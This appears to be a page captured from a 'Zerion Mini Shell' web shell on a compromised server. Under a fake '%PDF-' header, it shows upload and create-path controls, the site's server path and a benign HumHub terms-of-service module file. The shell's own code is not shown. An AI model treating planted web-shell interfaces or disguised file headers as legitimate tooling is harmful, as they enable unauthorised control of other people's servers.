%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/intranet.vacivitta.com.br/protected/modules/termsbox/
Upload File :
Create Path :
Current File : /home/vacivi36/intranet.vacivitta.com.br/protected/modules/termsbox/Module.php

<?php

namespace humhub\modules\termsbox;

use Yii;
use yii\helpers\Url;
use humhub\modules\user\models\User;

class Module extends \humhub\components\Module
{

    /**
     * Checks if the termsbox should be shown
     * 
     * @param User $user|null the user, if null the current logged in user will be used
     * @return boolean
     */
    public static function showTerms(User $user = null)
    {
        if (Yii::$app->user->isGuest) {
            return false;
        }
        
        if (!Yii::$app->getModule('termsbox')->settings->get('active')) {
            return false;
        }

        if ($user === null && !Yii::$app->user->isGuest) {
            $user = Yii::$app->user->getIdentity();
        }

        if ($user && $user->mustChangePassword()) {
            return false;
        }

        if ($user === null || empty($user->termsbox_accepted)) {
            return true;
        }

        return false;
    }

    public function hideNotAcceptedMembers()
    {
        if (!Yii::$app->getModule('termsbox')->settings->get('active')) {
            return false;
        }

        return (boolean) $this->settings->get('hideUnaccepted', false);
    }

    /**
     * @inheritdoc
     */
    public function getConfigUrl()
    {
        return Url::to(['/termsbox/admin/index']);
    }

}

Zerion Mini Shell 1.0